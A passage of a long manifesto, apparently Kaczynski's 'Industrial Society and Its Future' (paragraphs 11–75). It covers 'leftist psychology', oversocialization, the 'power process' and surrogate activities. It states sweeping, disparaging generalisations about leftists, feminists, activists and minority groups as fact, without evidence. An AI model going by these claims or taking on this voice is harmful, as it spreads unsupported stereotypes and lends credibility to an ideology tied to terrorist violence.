    11. When someone interprets as derogatory almost anything that is said about him (or about groups with whom he identifies) +we conclude that he has inferiority feelings or low self-esteem. This tendency is pronounced among minority rights activists, +whether or not they belong to the minority groups whose rights they defend. They are hypersensitive about the words used to +designate minorities and about anything that is said concerning minorities. The terms “Negro,” “oriental,” “handicapped” or +“chick” for an African, an Asian, a disabled person or a woman originally had no derogatory connotation. “Broad” and “chick” +were merely the feminine equivalents of “guy,” “dude” or “fellow.” The negative connotations have been attached to these +terms by the activists themselves. Some animal rights activists have gone so far as to reject the word “pet” and insist on its +replacement by “animal companion.” Leftish anthropologists go to great lengths to avoid saying anything about primitive +peoples that could conceivably be interpreted as negative. They want to replace the word “primitive” by “nonliterate.” They +may seem almost paranoid about anything that might suggest that any primitive culture is inferior to ours. (We do not mean to +imply that primitive cultures ARE inferior to ours. We merely point out the hyper sensitivity of leftish anthropologists.) +

    + +

    12. Those who are most sensitive about “politically incorrect” terminology are not the average black ghetto-dweller, Asian +immigrant, abused woman or disabled person, but a minority of activists, many of whom do not even belong to any +“oppressed” group but come from privileged strata of society. Political correctness has its stronghold among university +professors, who have secure employment with comfortable salaries, and the majority of whom are heterosexual white males +from middle to upper-class families. +

    + +

    13. Many leftists have an intense identification with the problems of groups that have an image of being weak (women), +defeated (American Indians), repellent (homosexuals) or otherwise inferior. The leftists themselves feel that these groups are +inferior. They would never admit to themselves that they have such feelings, but it is precisely because they do see these +groups as inferior that they identify with their problems. (We do not mean to suggest that women, Indians, etc. ARE inferior; +we are only making a point about leftist psychology.) +

    + +

    14. Feminists are desperately anxious to prove that women are as strong and as capable as men. Clearly they are nagged by a +fear that women may NOT be as strong and as capable as men. +

    + +

    15. Leftists tend to hate anything that has an image of being strong, good and successful. They hate America, they hate +Western civilization, they hate white males, they hate rationality. The reasons that leftists give for hating the West, etc. clearly +do not correspond with their real motives. They SAY they hate the West because it is warlike, imperialistic, sexist, ethnocentric +and so forth, but where these same faults appear in socialist countries or in primitive cultures, the leftist finds excuses for them, +or at best he GRUDGINGLY admits that they exist; whereas he ENTHUSIASTICALLY points out (and often greatly +exaggerates) these faults where they appear in Western civilization. Thus it is clear that these faults are not the leftist’s real +motive for hating America and the West. He hates America and the West because they are strong and successful. +

    + +

    16. Words like “self-confidence,” “self-reliance,” “initiative,” “enterprise,” “optimism,” etc., play little role in the liberal and +leftist vocabulary. The leftist is anti-individualistic, pro-collectivist. He wants society to solve every one’s problems for them, +satisfy everyone’s needs for them, take care of them. He is not the sort of person who has an inner sense of confidence in his +ability to solve his own problems and satisfy his own needs. The leftist is antagonistic to the concept of competition because, +deep inside, he feels like a loser. +

    + +

    17. Art forms that appeal to modern leftish intellectuals tend to focus on sordidness, defeat and despair, or else they take an +orgiastic tone, throwing off rational control as if there were no hope of accomplishing anything through rational calculation and +all that was left was to immerse oneself in the sensations of the moment. +

    + +

    18. Modern leftish philosophers tend to dismiss reason, science, objective reality and to insist that everything is culturally +relative. It is true that one can ask serious questions about the foundations of scientific knowledge and about how, if at all, the +concept of objective reality can be defined. But it is obvious that modern leftish philosophers are not simply cool-headed +logicians systematically analyzing the foundations of knowledge. They are deeply involved emotionally in their attack on truth +and reality. They attack these concepts because of their own psychological needs. For one thing, their attack is an outlet for +hostility, and, to the extent that it is successful, it satisfies the drive for power. More importantly, the leftist hates science and +rationality because they classify certain beliefs as true (i.e., successful, superior) and other beliefs as false (i.e., failed, inferior). +The leftist’s feelings of inferiority run so deep that he cannot tolerate any classification of some things as successful or superior +and other things as failed or inferior. This also underlies the rejection by many leftists of the concept of mental illness and of +the utility of IQ tests. Leftists are antagonistic to genetic explanations of human abilities or behavior because such explanations +tend to make some persons appear superior or inferior to others. Leftists prefer to give society the credit or blame for an +individual’s ability or lack of it. Thus if a person is “inferior” it is not his fault, but society’s, because he has not been brought +up properly. +

    + +

    19. The leftist is not typically the kind of person whose feelings of inferiority make him a braggart, an egotist, a bully, a self-promoter, a ruthless competitor. This kind of person has not wholly lost faith in himself. He has a deficit in his sense of power and self-worth, but he can still conceive of himself as having the capacity to be strong, and his efforts to make himself strong +produce his unpleasant behavior. [1] But the leftist is too far gone for that. His feelings of inferiority are so ingrained that he +cannot conceive of himself as individually strong and valuable. Hence the collectivism of the leftist. He can feel strong only as +a member of a large organization or a mass movement with which he identifies himself. +

    + +

    20. Notice the masochistic tendency of leftist tactics. Leftists protest by lying down in front of vehicles, they intentionally +provoke police or racists to abuse them, etc. These tactics may often be effective, but many leftists use them not as a means to +an end but because they PREFER masochistic tactics. Self-hatred is a leftist trait. +

    + +

    21. Leftists may claim that their activism is motivated by compassion or by moral principles, and moral principle does play a +role for the leftist of the oversocialized type. But compassion and moral principle cannot be the main motives for leftist +activism. Hostility is too prominent a component of leftist behavior; so is the drive for power. Moreover, much leftist behavior +is not rationally calculated to be of benefit to the people whom the leftists claim to be trying to help. For example, if one +believes that affirmative action is good for black people, does it make sense to demand affirmative action in hostile or +dogmatic terms? Obviously it would be more productive to take a diplomatic and conciliatory approach that would make at +least verbal and symbolic concessions to white people who think that affirmative action discriminates against them. But leftist +activists do not take such an approach because it would not satisfy their emotional needs. Helping black people is not their real +goal. Instead, race problems serve as an excuse for them to express their own hostility and frustrated need for power. In doing +so they actually harm black people, because the activists’ hostile attitude toward the white majority tends to intensify race +hatred. +

    + +

    22. If our society had no social problems at all, the leftists would have to INVENT problems in order to provide themselves +with an excuse for making a fuss. +

    + +

    23. We emphasize that the foregoing does not pretend to be an accurate description of everyone who might be considered a +leftist. It is only a rough indication of a general tendency of leftism. +

    + +

    Oversocialization

    + +

    24. Psychologists use the term “socialization” to designate the process by which children are trained to think and act as society +demands. A person is said to be well socialized if he believes in and obeys the moral code of his society and fits in well as a +functioning +part of that society. It may seem senseless to say that many leftists are over-socialized, since the leftist is +perceived as a rebel. Nevertheless, the position can be defended. Many leftists are not such rebels as they seem. +

    + +

    25. The moral code of our society is so demanding that no one can think, feel and act in a completely moral way. For example, +we are not supposed to hate anyone, yet almost everyone hates somebody at some time or other, whether he admits it to himself +or not. Some people are so highly socialized that the attempt to think, feel and act morally imposes a severe burden on them. In +order to avoid feelings of guilt, they continually have to deceive themselves about their own motives and find moral +explanations for feelings and actions that in reality have a non-moral origin. We use the term “oversocialized” to describe such +people. [2] +

    + +

    26. Oversocialization can lead to low self-esteem, a sense of powerlessness, defeatism, guilt, etc. One of the most important +means by which our society socializes children is by making them feel ashamed of behavior or speech that is contrary to +society’s expectations. If this is overdone, or if a particular child is especially susceptible to such feelings, he ends by feeling +ashamed of HIMSELF. Moreover the thought and the behavior of the oversocialized person are more restricted by society’s +expectations than are those of the lightly socialized person. The majority of people engage in a significant amount of naughty +behavior. They lie, they commit petty thefts, they break traffic laws, they goof off at work, they hate someone, they say spiteful +things or they use some underhanded trick to get ahead of the other guy. The oversocialized person cannot do these things, or if +he does do them he generates in himself a sense of shame and self-hatred. The oversocialized person cannot even experience, +without guilt, thoughts or feelings that are contrary to the accepted morality; he cannot think “unclean” thoughts. And +socialization is not just a matter of morality; we are socialized to conform to many norms of behavior that do not fall under the +heading of morality. Thus the oversocialized person is kept on a psychological leash and spends his life running on rails that +society has laid down for him. In many oversocialized people this results in a sense of constraint and powerlessness that can be +a severe hardship. We suggest that oversocialization is among the more serious cruelties that human being inflict on one +another. +

    + +

    27. We argue that a very important and influential segment of the modern left is oversocialized and that their oversocialization +is of great importance in determining the direction of modern leftism. Leftists of the oversocialized type tend to be intellectuals +or members of the upper-middle class. Notice that university intellectuals [3] constitute the most highly socialized segment of +our society and also the most left-wing segment. +

    + +

    28. The leftist of the oversocialized type tries to get off his psychological leash and assert his autonomy by rebelling. But +usually he is not strong enough to rebel against the most basic values of society. Generally speaking, the goals of today’s +leftists are NOT in conflict with the accepted morality. On the contrary, the left takes an accepted moral principle, adopts it as +its own, and then accuses mainstream society of violating that principle. Examples: racial equality, equality of the sexes, +helping poor people, peace as opposed to war, nonviolence generally, freedom of expression, kindness to animals. More +fundamentally, the duty of the individual to serve society and the duty of society to take care of the individual. All these have +been deeply rooted values of our society (or at least of its middle and upper classes) [4] for a long time. These values are +explicitly or implicitly expressed or presupposed in most of the material presented to us by the mainstream communications +media and the educational system. Leftists, especially those of the oversocialized type, usually do not rebel against these +principles but justify their hostility to society by claiming (with some degree of truth) that society is not living up to these +principles. +

    + +

    29. Here is an illustration of the way in which the oversocialized leftist shows his real attachment to the conventional attitudes +of our society while pretending to be in rebellion against it. Many leftists push for affirmative action, for moving black people +into high-prestige jobs, for improved education in black schools and more money for such schools; the way of life of the black +“underclass” they regard as a social disgrace. They want to integrate the black man into the system, make him a business +executive, a lawyer, a scientist just like upper-middle-class white people. The leftists will reply that the last thing they want is +to make the black man into a copy of the white man; instead, they want to preserve African American culture. But in what does +this preservation of African American culture consist? It can hardly consist in anything more than eating black-style food, listening to black-style music, wearing black-style clothing and going to a black-style church or mosque. In other words, it can +express itself only in superficial matters. In all ESSENTIAL respects most leftists of the oversocialized type want to make the +black man conform to white, middle-class ideals. They want to make him study technical subjects, become an executive or a +scientist, spend his life climbing the status ladder to prove that black people are as good as white. They want to make black +fathers “responsible,” they want black gangs to become nonviolent, etc. But these are exactly the values of the industrial-technological system. The system couldn’t care less what kind of music a man listens to, what kind of clothes he wears or what +religion he believes in as long as he studies in school, holds a respectable job, climbs the status ladder, is a “responsible” +parent, is nonviolent and so forth. In effect, however much he may deny it, the oversocialized leftist wants to integrate the +black man into the system and make him adopt its values. +

    + +

    30. We certainly do not claim that leftists, even of the oversocialized type, NEVER rebel against the fundamental values of our +society. Clearly they sometimes do. Some oversocialized leftists have gone so far as to rebel against one of modern society’s +most important principles by engaging in physical violence. By their own account, violence is for them a form of “liberation.” +In other words, by committing violence they break through the psychological restraints that have been trained into them. +Because they are oversocialized these restraints have been more confining for them than for others; hence their need to break +free of them. But they usually justify their rebellion in terms of mainstream values. If they engage in violence they claim to be +fighting against racism or the like. +

    + +

    31. We realize that many objections could be raised to the foregoing thumbnail sketch of leftist psychology. The real situation +is complex, and anything like a complete description of it would take several volumes even if the necessary data were +available. We claim only to have indicated very roughly the two most important tendencies in the psychology of modern +leftism. +

    + +

    32. The problems of the leftist are indicative of the problems of our society as a whole. Low self-esteem, depressive tendencies +and defeatism are not restricted to the left. Though they are especially noticeable in the left, they are widespread in our society. +And today’s society tries to socialize us to a greater extent than any previous society. We are even told by experts how to eat, +how to exercise, how to make love, how to raise our kids and so forth. +

    + +

    The Power Process

    + +

    33. Human beings have a need (probably based in biology) for something that we will call the “power process.” This is closely +related to the need for power (which is widely recognized) but is not quite the same thing. The power process has four +elements. The three most clear-cut of these we call goal, effort and attainment of goal. (Everyone needs to have goals whose +attainment requires effort, and needs to succeed in attaining at least some of his goals.) The fourth element is more difficult to +define and may not be necessary for everyone. We call it autonomy and will discuss it later (paragraphs 42-44). +

    + +

    34. Consider the hypothetical case of a man who can have anything he wants just by wishing for it. Such a man has power, but +he will develop serious psychological problems. At first he will have a lot of fun, but by and by he will become acutely bored +and demoralized. Eventually he may become clinically depressed. History shows that leisured aristocracies tend to become +decadent. This is not true of fighting aristocracies that have to struggle to maintain their power. But leisured, secure +aristocracies that have no need to exert themselves usually become bored, hedonistic and demoralized, even though they have +power. This shows that power is not enough. One must have goals toward which to exercise one’s power. +

    + +

    35. Everyone has goals; if nothing else, to obtain the physical necessities of life: food, water and whatever clothing and shelter +are made necessary by the climate. But the leisured aristocrat obtains these things without effort. Hence his boredom and demoralization. +

    + +

    36. Non-attainment of important goals results in death if the goals are physical necessities, and in frustration if non-attainment of +the goals is compatible with survival. Consistent failure to attain goals throughout life results in defeatism, low self-esteem or depression. +

    + +

    37. Thus, in order to avoid serious psychological problems, a human being needs goals whose attainment requires effort, and +he must have a reasonable rate of success in attaining his goals. +

    + +

    Surrogate Activities

    + +

    38. But not every leisured aristocrat becomes bored and demoralized. For example, the emperor Hirohito, instead of sinking +into decadent hedonism, devoted himself to marine biology, a field in which he became distinguished. When people do not +have to exert themselves to satisfy their physical needs they often set up artificial goals for themselves. In many cases they then +pursue these goals with the same energy and emotional involvement that they otherwise would have put into the search for +physical necessities. Thus the aristocrats of the Roman Empire had their literary pretensions; many European aristocrats a few +centuries ago invested tremendous time and energy in hunting, though they certainly didn’t need the meat; other aristocracies +have competed for status through elaborate displays of wealth; and a few aristocrats, like Hirohito, have turned to science. +

    + +

    39. We use the term “surrogate activity” to designate an activity that is directed toward an artificial goal that people set up for +themselves merely in order to have some goal to work toward, or let us say, merely for the sake of the “fulfillment” that they +get from pursuing the goal. Here is a rule of thumb for the identification of surrogate activities. Given a person who devotes +much time and energy to the pursuit of goal X, ask yourself this: If he had to devote most of his time and energy to satisfying +his biological needs, and if that effort required him to use his physical and mental faculties in a varied and interesting way, +would he feel seriously deprived because he did not attain goal X? If the answer is no, then the person’s pursuit of goal X is a +surrogate activity. Hirohito’s studies in marine biology clearly constituted a surrogate activity, since it is pretty certain that if +Hirohito had had to spend his time working at interesting non-scientific tasks in order to obtain the necessities of life, he would +not have felt deprived because he didn’t know all about the anatomy and life-cycles of marine animals. On the other hand the +pursuit of sex and love (for example) is not a surrogate activity, because most people, even if their existence were otherwise +satisfactory, would feel deprived if they passed their lives without ever having a relationship with a member of the opposite +sex. (But pursuit of an excessive amount of sex, more than one really needs, can be a surrogate activity.) +

    + +

    40. In modern industrial society only minimal effort is necessary to satisfy one’s physical needs. It is enough to go through a +training program to acquire some petty technical skill, then come to work on time and exert the very modest effort needed to +hold a job. The only requirements are a moderate amount of intelligence and, most of all, simple OBEDIENCE. If one has +those, society takes care of one from cradle to grave. (Yes, there is an underclass that cannot take the physical necessities for +granted, but we are speaking here of mainstream society.) Thus it is not surprising that modern society is full of surrogate +activities. These include scientific work, athletic achievement, humanitarian work, artistic and literary creation, climbing the +corporate ladder, acquisition of money and material goods far beyond the point at which they cease to give any additional +physical satisfaction, and social activism when it addresses issues that are not important for the activist personally, as in the +case of white activists who work for the rights of nonwhite minorities. These are not always PURE surrogate activities, since +for many people they may be motivated in part by needs other than the need to have some goal to pursue. Scientific work may +be motivated in part by a drive for prestige, artistic creation by a need to express feelings, militant social activism by hostility. +But for most people who pursue them, these activities are in large part surrogate activities. For example, the majority of +scientists will probably agree that the “fulfillment” they get from their work is more important than the money and prestige +they earn. +

    + +

    41. For many if not most people, surrogate activities are less satisfying than the pursuit of real goals (that is, goals that people +would want to attain even if their need for the power process were already fulfilled). One indication of this is the fact that, in +many or most cases, people who are deeply involved in surrogate activities are never satisfied, never at rest. Thus the moneymaker constantly strives for more and more wealth. The scientist no sooner solves one problem than he moves on to the next. +The long-distance runner drives himself to run always farther and faster. Many people who pursue surrogate activities will say +that they get far more fulfillment from these activities than they do from the “mundane” business of satisfying their biological +needs, but that is because in our society the effort needed to satisfy the biological needs has been reduced to triviality. More +importantly, in our society people do not satisfy their biological needs AUTONOMOUSLY but by functioning as parts of an +immense social machine. In contrast, people generally have a great deal of autonomy in pursuing their surrogate activities. +

    + +

    Autonomy

    + +

    42. Autonomy as a part of the power process may not be necessary for every individual. But most people need a greater or +lesser degree of autonomy in working toward their goals. Their efforts must be undertaken on their own initiative and must be +under their own direction and control. Yet most people do not have to exert this initiative, direction and control as single +individuals. It is usually enough to act as a member of a SMALL group. Thus if half a dozen people discuss a goal among +themselves and make a successful joint effort to attain that goal, their need for the power process will be served. But if they +work under rigid orders handed down from above that leave them no room for autonomous decision and initiative, then their need for the power process will not be served. The same is true when decisions are made on a collective basis if the group +making the collective decision is so large that the role of each individual is insignificant. [5] +

    + +

    43. It is true that some individuals seem to have little need for autonomy. Either their drive for power is weak or they satisfy it +by identifying themselves with some powerful organization to which they belong. And then there are unthinking, animal types +who seem to be satisfied with a purely physical sense of power (the good combat soldier, who gets his sense of power by +developing fighting skills that he is quite content to use in blind obedience to his superiors). +

    + +

    44. But for most people it is through the power process having a goal, making an AUTONOMOUS effort and attaining the goal +-- that self-esteem, self-confidence and a sense of power are acquired. When one does not have adequate opportunity to go +through the power process the consequences are (depending on the individual and on the way the power process is disrupted) +boredom, demoralization, low self-esteem, inferiority feelings, defeatism, depression, anxiety, guilt, frustration, hostility, +spouse or child abuse, insatiable hedonism, abnormal sexual behavior, sleep disorders, eating disorders, etc. [6] +

    + +

    Sources of Social Problems

    + +

    45. Any of the foregoing symptoms can occur in any society, but in modern industrial society they are present on a massive +scale. We aren’t the first to mention that the world today seems to be going crazy. This sort of thing is not normal for human +societies. There is good reason to believe that primitive man suffered from less stress and frustration and was better satisfied +with his way of life than modern man is. It is true that not all was sweetness and light in primitive societies. Abuse of women +was common among the Australian aborigines, transsexuality was fairly common among some of the American Indian tribes. +But it does appear that GENERALLY SPEAKING the kinds of problems that we have listed in the preceding paragraph were +far less common among primitive peoples than they are in modern society. +

    + +

    46. We attribute the social and psychological problems of modern society to the fact that that society requires people to live +under conditions radically different from those under which the human race evolved and to behave in ways that conflict with +the patterns of behavior that the human race developed while living under the earlier conditions. It is clear from what we have +already written that we consider lack of opportunity to properly experience the power process as the most important of the +abnormal conditions to which modern society subjects people. But it is not the only one. Before dealing with disruption of the +power process as a source of social problems we will discuss some of the other sources. +

    + +

    47. Among the abnormal conditions present in modern industrial society are excessive density of population, isolation of man +from nature, excessive rapidity of social change and the breakdown of natural small-scale communities such as the extended +family, the village or the tribe. +

    + +

    48. It is well known that crowding increases stress and aggression. The degree of crowding that exists today and the isolation +of man from nature are consequences of technological progress. All pre-industrial societies were predominantly rural. The +Industrial Revolution vastly increased the size of cities and the proportion of the population that lives in them, and modern +agricultural technology has made it possible for the Earth to support a far denser population than it ever did before. (Also, +technology exacerbates the effects of crowding because it puts increased disruptive powers in people’s hands. For example, a +variety of noise-making devices: power mowers, radios, motorcycles, etc. If the use of these devices is unrestricted, people +who want peace and quiet are frustrated by the noise. If their use is restricted, people who use the devices are frustrated by the +regulations. But if these machines had never been invented there would have been no conflict and no frustration generated by +them.) +

    + +

    49. For primitive societies the natural world (which usually changes only slowly) provided a stable framework and therefore a +sense of security. In the modern world it is human society that dominates nature rather than the other way around, and modern +society changes very rapidly owing to technological change. Thus there is no stable framework. +

    + +

    50. The conservatives are fools: They whine about the decay of traditional values, yet they enthusiastically support +technological progress and economic growth. Apparently it never occurs to them that you can’t make rapid, drastic changes in +the technology and the economy of a society without causing rapid changes in all other aspects of the society as well, and that +such rapid changes inevitably break down traditional values. +

    + +

    51. The breakdown of traditional values to some extent implies the breakdown of the bonds that hold together traditional small-scale social groups. The disintegration of small-scale social groups is also promoted by the fact that modern conditions often require or tempt individuals to move to new locations, separating themselves from their communities. Beyond that, a +technological society HAS TO weaken family ties and local communities if it is to function efficiently. In modern society an +individual’s loyalty must be first to the system and only secondarily to a small-scale community, because if the internal loyalties +of small-scale communities were stronger than loyalty to the system, such communities would pursue their own advantage at the expense of the system. +

    + +

    52. Suppose that a public official or a corporation executive appoints his cousin, his friend or his co-religionist to a position +rather than appointing the person best qualified for the job. He has permitted personal loyalty to supersede his loyalty to the +system, and that is “nepotism” or “discrimination,” both of which are terrible sins in modern society. Would-be industrial +societies that have done a poor job of subordinating personal or local loyalties to loyalty to the system are usually very +inefficient. (Look at Latin America.) Thus an advanced industrial society can tolerate only those small-scale communities that +are emasculated, tamed and made into tools of the system. [7] +

    + +

    53. Crowding, rapid change and the breakdown of communities have been widely recognized as sources of social problems. +But we do not believe they are enough to account for the extent of the problems that are seen today. +

    + +

    54. A few pre-industrial cities were very large and crowded, yet their inhabitants do not seem to have suffered from +psychological problems to the same extent as modern man. In America today there still are uncrowded rural areas, and we find +there the same problems as in urban areas, though the problems tend to be less acute in the rural areas. Thus crowding does not +seem to be the decisive factor. +

    + +

    55. On the growing edge of the American frontier during the 19th century, the mobility of the population probably broke down +extended families and small-scale social groups to at least the same extent as these are broken down today. In fact, many +nuclear families lived by choice in such isolation, having no neighbors within several miles, that they belonged to no +community at all, yet they do not seem to have developed problems as a result. +

    + +

    56. Furthermore, change in American frontier society was very rapid and deep. A man might be born and raised in a log cabin, +outside the reach of law and order and fed largely on wild meat; and by the time he arrived at old age he might be working at a +regular job and living in an ordered community with effective law enforcement. This was a deeper change than that which +typically occurs in the life of a modern individual, yet it does not seem to have led to psychological problems. In fact, 19th +century American society had an optimistic and self-confident tone, quite unlike that of today’s society. [8] +

    + +

    57. The difference, we argue, is that modern man has the sense (largely justified) that change is IMPOSED on him, whereas the +19th century frontiersman had the sense (also largely justified) that he created change himself, by his own choice. Thus a +pioneer settled on a piece of land of his own choosing and made it into a farm through his own effort. In those days an entire +county might have only a couple of hundred inhabitants and was a far more isolated and autonomous entity than a modern +county is. Hence the pioneer farmer participated as a member of a relatively small group in the creation of a new, ordered +community. One may well question whether the creation of this community was an improvement, but at any rate it satisfied the +pioneer’s need for the power process. +

    + +

    58. It would be possible to give other examples of societies in which there has been rapid change and/or lack of close +community ties without the kind of massive behavioral aberration that is seen in today’s industrial society. We contend that the +most important cause of social and psychological problems in modern society is the fact that people have insufficient +opportunity to go through the power process in a normal way. We don’t mean to say that modern society is the only one in +which the power process has been disrupted. Probably most if not all civilized societies have interfered with the power process +to a greater or lesser extent. But in modern industrial society the problem has become particularly acute. Leftism, at least in its +recent (mid-to-late 20th century) form, is in part a symptom of deprivation with respect to the power process. +

    + +

    Disruption of the Power Process in Modern Society

    + +

    59. We divide human drives into three groups: (1) those drives that can be satisfied with minimal effort; (2) those that can be +satisfied but only at the cost of serious effort; (3) those that cannot be adequately satisfied no matter how much effort one +makes. The power process is the process of satisfying the drives of the second group. The more drives there are in the third +group, the more there is frustration, anger, eventually defeatism, depression, etc. +

    + +

    60. In modern industrial society natural human drives tend to be pushed into the first and third groups, and the second group +tends to consist increasingly of artificially created drives. +

    + +

    61. In primitive societies, physical necessities generally fall into group 2: They can be obtained, but only at the cost of serious +effort. But modern society tends to guaranty the physical necessities to everyone [9] in exchange for only minimal effort, hence +physical needs are pushed into group 1. (There may be disagreement about whether the effort needed to hold a job is +“minimal”; but usually, in lower to middle-level jobs, whatever effort is required is merely that of OBEDIENCE. You sit or +stand where you are told to sit or stand and do what you are told to do in the way you are told to do it. Seldom do you have to +exert yourself seriously, and in any case you have hardly any autonomy in work, so that the need for the power process is not +well served.) +

    + +

    62. Social needs, such as sex, love and status, often remain in group 2 in modern society, depending on the situation of the +individual. [10] But, except for people who have a particularly strong drive for status, the effort required to fulfill the social +drives is insufficient to satisfy adequately the need for the power process. +

    + +

    63. So certain artificial needs have been created that fall into group 2, hence serve the need for the power process. Advertising +and marketing techniques have been developed that make many people feel they need things that their grandparents never +desired or even dreamed of. It requires serious effort to earn enough money to satisfy these artificial needs, hence they fall into +group 2. (But see paragraphs 80-82.) Modern man must satisfy his need for the power process largely through pursuit of the +artificial needs created by the advertising and marketing industry [11], and through surrogate activities. +

    + +

    64. It seems that for many people, maybe the majority, these artificial forms of the power process are insufficient. A theme that +appears repeatedly in the writings of the social critics of the second half of the 20th century is the sense of purposelessness that +afflicts many people in modern society. (This purposelessness is often called by other names such as “anomie” or “middle class vacuity.”) We suggest that the so-called “identity crisis” is actually a search for a sense of purpose, often for commitment +to a suitable surrogate activity. It may be that existentialism is in large part a response to the purposelessness of modern life. +[12] Very widespread in modern society is the search for “fulfillment.” But we think that for the majority of people an activity +whose main goal is fulfillment (that is, a surrogate activity) does not bring completely satisfactory fulfillment. In other words, +it does not fully satisfy the need for the power process. (See paragraph 41.) That need can be fully satisfied only through +activities that have some external goal, such as physical necessities, sex, love, status, revenge, etc. +

    + +

    65. Moreover, where goals are pursued through earning money, climbing the status ladder or functioning as part of the system +in some other way, most people are not in a position to pursue their goals AUTONOMOUSLY. Most workers are someone +else’s employee and, as we pointed out in paragraph 61, must spend their days doing what they are told to do in the way they +are told to do it. Even people who are in business for themselves have only limited autonomy. It is a chronic complaint of +small-business persons and entrepreneurs that their hands are tied by excessive government regulation. Some of these +regulations are doubtless unnecessary, but for the most part government regulations are essential and inevitable parts of our +extremely complex society. A large portion of small business today operates on the franchise system. It was reported in the +Wall Street Journal a few years ago that many of the franchise-granting companies require applicants for franchises to take a +personality test that is designed to EXCLUDE those who have creativity and initiative, because such persons are not +sufficiently docile to go along obediently with the franchise system. This excludes from small business many of the people who +most need autonomy. +

    + +

    66. Today people live more by virtue of what the system does FOR them or TO them than by virtue of what they do for +themselves. And what they do for themselves is done more and more along channels laid down by the system. Opportunities +tend to be those that the system provides, the opportunities must be exploited in accord with rules and regulations [13], and +techniques prescribed by experts must be followed if there is to be a chance of success. +

    + +

    67. Thus the power process is disrupted in our society through a deficiency of real goals and a deficiency of autonomy in the +pursuit of goals. But it is also disrupted because of those human drives that fall into group 3: the drives that one cannot +adequately satisfy no matter how much effort one makes. One of these drives is the need for security. Our lives depend on +decisions made by other people; we have no control over these decisions and usually we do not even know the people who +make them. +

    “We live in a world in which relatively few people – maybe 500 or 1,000 make the important decisions”
    — Philip +B. Heymann of Harvard Law School, quoted by Anthony Lewis, New York Times, April 21, 1995 .
    Our lives depend on +whether safety standards at a nuclear power plant are properly maintained; on how much pesticide is allowed to get into our +food or how much pollution into our air; on how skillful (or incompetent) our doctor is; whether we lose or get a job may +depend on decisions made by government economists or corporation executives; and so forth. Most individuals are not in a +position to secure themselves against these threats to more than a very limited extent. The individual’s search for security is +therefore frustrated, which leads to a sense of powerlessness. +

    + +

    68. It may be objected that primitive man is physically less secure than modern man, as is shown by his shorter life expectancy; +hence modern man suffers from less, not more than the amount of insecurity that is normal for human beings. But +psychological security does not closely correspond with physical security. What makes us FEEL secure is not so much +objective security as a sense of confidence in our ability to take care of ourselves. Primitive man, threatened by a fierce animal +or by hunger, can fight in self-defense or travel in search of food. He has no certainty of success in these efforts, but he is by no +means helpless against the things that threaten him. The modern individual on the other hand is threatened by many things +against which he is helpless: nuclear accidents, carcinogens in food, environmental pollution, war, increasing taxes, invasion of +his privacy by large organizations, nationwide social or economic phenomena that may disrupt his way of life. +

    + +

    69. It is true that primitive man is powerless against some of the things that threaten him; disease for example. But he can +accept the risk of disease stoically. It is part of the nature of things, it is no one’s fault, unless it is the fault of some imaginary, +impersonal demon. But threats to the modern individual tend to be MAN-MADE. They are not the results of chance but are +IMPOSED on him by other persons whose decisions he, as an individual, is unable to influence. Consequently he feels +frustrated, humiliated and angry. +

    + +

    70. Thus primitive man for the most part has his security in his own hands (either as an individual or as a member of a SMALL +group) whereas the security of modern man is in the hands of persons or organizations that are too remote or too large for him +to be able personally to influence them. So modern man’s drive for security tends to fall into groups 1 and 3; in some areas +(food, shelter etc.) his security is assured at the cost of only trivial effort, whereas in other areas he CANNOT attain security. +(The foregoing greatly simplifies the real situation, but it does indicate in a rough, general way how the condition of modern +man differs from that of primitive man.) +

    + +

    71. People have many transitory drives or impulses that are necessarily frustrated in modern life, hence fall into group 3. One +may become angry, but modern society cannot permit fighting. In many situations it does not even permit verbal aggression. +When going somewhere one may be in a hurry, or one may be in a mood to travel slowly, but one generally has no choice but +to move with the flow of traffic and obey the traffic signals. One may want to do one’s work in a different way, but usually one +can work only according to the rules laid down by one’s employer. In many other ways as well, modern man is strapped down +by a network of rules and regulations (explicit or implicit) that frustrate many of his impulses and thus interfere with the power +process. Most of these regulations cannot be dispensed with, because they are necessary for the functioning of industrial +society. +

    + +

    72. Modern society is in certain respects extremely permissive. In matters that are irrelevant to the functioning of the system +we can generally do what we please. We can believe in any religion (as long as it does not encourage behavior that is +dangerous to the system). We can go to bed with anyone we like (as long as we practice “safe sex”). We can do anything we +like as long as it is UNIMPORTANT. But in all IMPORTANT matters the system tends increasingly to regulate our behavior. +

    + +

    73. Behavior is regulated not only through explicit rules and not only by the government. Control is often exercised through +indirect coercion or through psychological pressure or manipulation, and by organizations other than the government, or by the +system as a whole. Most large organizations use some form of propaganda [14] to manipulate public attitudes or behavior. +Propaganda is not limited to “commercials” and advertisements, and sometimes it is not even consciously intended as +propaganda by the people who make it. For instance, the content of entertainment programming is a powerful form of +propaganda. An example of indirect coercion: There is no law that says we have to go to work every day and follow our +employer’s orders. Legally there is nothing to prevent us from going to live in the wild like primitive people or from going into +business for ourselves. But in practice there is very little wild country left, and there is room in the economy for only a limited +number of small business owners. Hence most of us can survive only as someone else’s employee. +

    + +

    74. We suggest that modern man’s obsession with longevity, and with maintaining physical vigor and sexual attractiveness to +an advanced age, is a symptom of unfulfillment resulting from deprivation with respect to the power process. The “mid-life +crisis” also is such a symptom. So is the lack of interest in having children that is fairly common in modern society but almost +unheard-of in primitive societies. +

    + +

    75. In primitive societies life is a succession of stages. The needs and purposes of one stage having been fulfilled, there is no +particular reluctance about passing on to the next stage. A young man goes through the power process by becoming a hunter, +hunting not for sport or for fulfillment but to get meat that is necessary for food. (In young women the process is more +complex, with greater emphasis on social power; we won’t discuss that here.) This phase having been successfully passed +through, the young man has no reluctance about settling down to the responsibilities of raising a family. (In contrast, some +modern people indefinitely postpone having children because they are too busy seeking some kind of “fulfillment.” We suggest +that the fulfillment they need is adequate experience of the power process – with real goals instead of the artificial goals of surrogate activities.) Again, having successfully raised his children, going through the power process by providing them with +the physical necessities, the primitive man feels that his work is done and he is prepared to accept old age (if he survives that +long) and death. Many modern people, on the other hand, are disturbed by the prospect of physical deterioration and death, as is +shown by the amount of effort they expend trying to maintain their physical condition, appearance and health. We argue that +this is due to unfulfillment resulting from the fact that they have never put their physical powers to any practical use, have +never gone through the power process using their bodies in a serious way. It is not the primitive man, who has used his body +daily for practical purposes, who fears the deterioration of age, but the modern man, who has never had a practical use for his +body beyond walking from his car to his house. It is the man whose need for the power process has been satisfied during his +life who is best prepared to accept the end of that life. +

    + +

